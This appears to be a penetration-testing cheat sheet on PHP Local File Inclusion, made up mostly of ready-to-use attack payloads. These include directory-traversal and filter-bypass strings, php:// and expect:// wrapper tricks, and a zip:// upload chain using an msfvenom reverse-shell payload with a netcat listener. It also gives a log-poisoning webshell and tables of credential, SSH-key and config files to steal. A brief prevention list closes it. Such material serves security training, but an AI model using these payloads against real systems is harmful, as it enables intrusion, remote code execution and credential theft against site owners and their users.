πŸ“Œ What is LFI?

Local File Inclusion (LFI) is a web vulnerability that allows an attacker to trick a web application into including files from the local server’s filesystem.
It typically occurs when user input is used in file path functions (e.g., PHP’s include, require, readfile) without proper validation or sanitization.

Remote URLs? If the parameter accepts http:// β†’ Remote File Inclusion (RFI) (often faster RCE when allow_url_include=On). If http:// / https:// are filtered β†’ ftp:// + pyftpdlib in RFI note.


πŸ” How It Works

Example vulnerable PHP code:

<?php
$page = $_GET['page'];
include("pages/" . $page . ".php");
?>

If page is not validated, an attacker can manipulate the parameter to include unintended files:

http://example.com/index.php?page=../../../../etc/passwd

🎯 Potential Impact

  • Read sensitive files (e.g., /etc/passwd, config.php).
  • Steal credentials (database passwords, API keys).
  • Log file poisoning β†’ Remote Code Execution (RCE).
  • View source code of the application.
  • Access session or authentication data.

πŸš€ LFI Exploitation Techniques

1. Basic File Reading

GET /index.php?page=../../../../etc/passwd

2. Bypassing Filters

Filters may block ../. Common bypasses:

....//....//....//etc/passwd
..%2F..%2F..%2F..%2Fetc/passwd
..%252F..%252F..%252Fetc/passwd

Null byte injection (PHP < 5.3):

/etc/passwd%00

3. Using PHP Wrappers

  • Base64 Encode Output:
?page=php://filter/convert.base64-encode/resource=config.php
  • Read Input Streams:
?page=php://input
  • Expect Wrapper (for code execution if enabled):
?page=expect://id
  • Example
https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php

4. zip:// wrapper β€” RCE via uploaded archive

When you can upload a ZIP (e.g. to /uploads/) and the app has LFI, the zip:// stream wrapper extracts and executes/reads a file inside the archive without manual unzip on disk.

Syntax:

zip://path/to/archive.zip#file_inside_archive.php

URL-encode # as %23 in browsers/burp:

GET /index.php?file=zip://uploads/upload_1786335222.zip%23shell.php

Lab example:

http://192.168.132.229/index.php?file=zip://uploads/upload_1786335222.zip%23llehs

(%23llehs β†’ #llehs β€” PHP file llehs.php inside the uploaded zip)

Workflow:

# 1. Kali β€” create reverse shell + zip
msfvenom -p php/reverse_php LHOST=TUN0 LPORT=4444 -o shell.php
zip shell.zip shell.php
# or name inside zip: zip upload.zip llehs.php
 
# 2. Upload shell.zip via file upload form β†’ lands in /uploads/upload_TIMESTAMP.zip
 
# 3. Trigger via LFI
curl "http://TARGET/index.php?file=zip://uploads/upload_1786335222.zip%23shell.php"
 
# 4. Listener
rlwrap nc -lnvp 4444
PartMeaning
zip://uploads/file.zipPath to uploaded archive on server
#shell.phpEntry inside the zip to include/execute
%23URL-encoded #

Requirements: PHP zip extension enabled Β· LFI parameter Β· upload path known (guess or enumerate /uploads/).

β†’ File Upload Bypass Β· Shell Β· Msfvenom Β· PayloadsAllTheThings β€” LFI zip wrapper

5. Log Poisoning β†’ RCE

  1. Inject PHP payload into logs:
<?php system($_GET['cmd']); ?>
  1. Include log file:
?page=../../../../var/log/apache2/access.log&cmd=id

6. Chaining with File Upload

If file upload is possible:

  • Upload a PHP webshell.
  • Include it via LFI:
?page=../../uploads/shell.php

πŸ“‚ Valuable paths β€” LFI file inclusion cheat sheet

Use with ?page=, ?file=, ?include= + traversal as needed. On Windows LFI, try / instead of \.

Fuzz lists: /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt Β· Gobuster Β· ffuf below


Linux β€” system files

PathContents
/etc/passwdUsers (no hashes on modern systems)
/etc/shadowPassword hashes (needs root read on disk β€” still try)
/etc/groupGroups
/etc/issuePre-login banner β€” OS hint
/etc/hostnameHostname
/etc/hostsStatic host mappings
/proc/self/environEnvironment vars β€” may leak paths/creds
/home/user/.ssh/id_rsaUser SSH private key
?page=../../../../etc/passwd
?page=....//....//....//etc/passwd

Linux β€” log files (log poisoning β†’ RCE)

PathServer
/var/log/apache/access.logApache (Debian/Ubuntu alt path)
/var/log/apache2/access.logApache2
/var/log/httpd/access_logApache (RHEL/CentOS)
/var/log/apache/error.logApache error
/var/log/apache2/error.logApache2 error
/var/log/httpd/error_loghttpd error
/var/log/nginx/access.logNginx
/var/log/messagesGeneral syslog
/var/log/cron.logCron activity
/var/log/auth.logAuth / SSH (Debian/Ubuntu)

Poison User-Agent or request with <?php system($_GET['cmd']); ?> then include log β†’ Β§5 Log Poisoning.


Linux β€” web app config (credentials)

PathApplication
/var/www/html/wp-config.phpWordPress
/var/www/configuration.phpJoomla / Mambo
/var/www/html/inc/header.inc.phpDolphin
/var/www/html/sites/default/settings.phpDrupal
/var/www/config.phpGeneric PHP
/var/www/html/.git/configGit repo metadata β†’ Git & GitHub
?page=php://filter/convert.base64-encode/resource=/var/www/html/wp-config.php
?page=../../../../var/www/html/wp-config.php

β†’ WPScan Β· CMSeeK - cmseek


Windows β€” system & unattended install (passwords)

PathContents
C:/Windows/System32/drivers/etc/hostsHosts file
C:/Windows/Panther/Unattend/Unattended.xmlUnattended install β€” passwords
C:/Windows/Panther/Unattended.xmlSame family
C:/Windows/Panther/Unattend.txtUnattend text
C:/Unattend.xmlRoot of C:
C:/Autounattend.xmlAuto unattended
C:/Windows/system32/sysprep/Sysprep leftovers
C:/Windows/win.iniLegacy config
C:/boot.iniBoot config (legacy)

β†’ Windows PrivEsc > πŸ“Œ 6) Stored Credentials


Windows β€” IIS / web

PathContents
C:/inetpub/wwwroot/Default IIS web root
C:/inetpub/wwwroot/web.configIIS app config β€” connection strings
C:/inetpub/logs/LogFiles/IIS access/error logs
C:/xampp/apache/logs/access.logXAMPP Apache log
C:/xampp/htdocs/config.phpXAMPP PHP config
?file=C:/inetpub/wwwroot/web.config
?file=C:/Windows/Panther/Unattend/Unattended.xml

Use C:/ forward slashes in LFI even on Windows.

β†’ IIS Β· XAMPP - CVE-2020-11107 Privilege Escalation


Exposed .git (no LFI needed)

curl -s http://TARGET/.git/HEAD
git-dumper http://TARGET/.git ./repo

β†’ Git & GitHub


πŸ“Œ Fuzzing wordlists (SecLists)

PathUse
/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txtGeneral LFI payloads β€” start here if you suspect file inclusion
/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txtLinux-focused LFI paths & bypasses
# ffuf β€” parameter fuzz
ffuf -u "http://TARGET/page.php?file=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 0
 
# gobuster β€” if param name unknown, dir mode with traversal in wordlist still useful for path discovery
gobuster dir -u http://TARGET/ -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt

Also: PayloadsAllTheThings β€” LFI Β· Default Credentials > πŸ“Œ Authentication bypass (login inputs) (login bypass β€” different from LFI)


πŸ›‘ Prevention

  • Use a whitelist for files to include.
  • Never pass raw user input to file functions.
  • Disable allow_url_include in php.ini.
  • Apply proper input sanitization & encoding.
  • Use frameworks that abstract file access securely.

πŸ“š Reference Databases


πŸ›  Quick Command Summary

Basic

?page=../../../../etc/passwd

Bypass Filters

?page=..%2F..%2F..%2F..%2Fetc/passwd
?page=....//....//....//etc/passwd

PHP Wrappers

?page=php://filter/convert.base64-encode/resource=config.php
?page=php://input

zip:// RCE (upload + LFI)

?file=zip://uploads/upload_TIMESTAMP.zip%23shell.php
http://TARGET/index.php?file=zip://uploads/upload_1786335222.zip%23llehs

Log Poisoning

?page=../../../../var/log/apache2/access.log&cmd=id